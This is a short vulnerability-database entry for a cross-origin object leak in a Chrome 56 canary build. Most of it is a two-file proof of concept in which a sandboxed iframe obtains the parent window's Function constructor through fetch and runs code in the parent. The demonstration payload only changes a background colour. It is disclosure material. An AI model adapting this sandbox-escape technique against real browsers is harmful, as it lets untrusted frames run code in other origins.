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chrome:Cross-origin object leak via fetch

🗓️ 29 Jan 2018 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Cross-origin object leak vulnerability in Chrome Version 56.0.2891.0 canary (64-bit) on Windows 1

Code

                                                child.html
---------------------------------------------
<!doctype html>
<body style="background-color: white;">
This is a sandboxed iframe that is able to set the parent's background color to red.
<script>
var parent_Promise = fetch.call(parent).constructor;
var parent_Function = parent_Promise.constructor;
new parent_Promise(function(resolve) {
  resolve();
}).then(function() {
  var f = new parent_Function("document.body.style.backgroundColor = 'red';");
  f();
});
</script>
</body>
--------------------------------------------

parent.html
---------------------------------------------
<!doctype html>
<iframe sandbox="allow-scripts" src="child.html"></iframe>
--------------------------------------------

                              

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29 Jan 2018 00:00Current
6.7Medium risk
Vulners AI Score6.7
13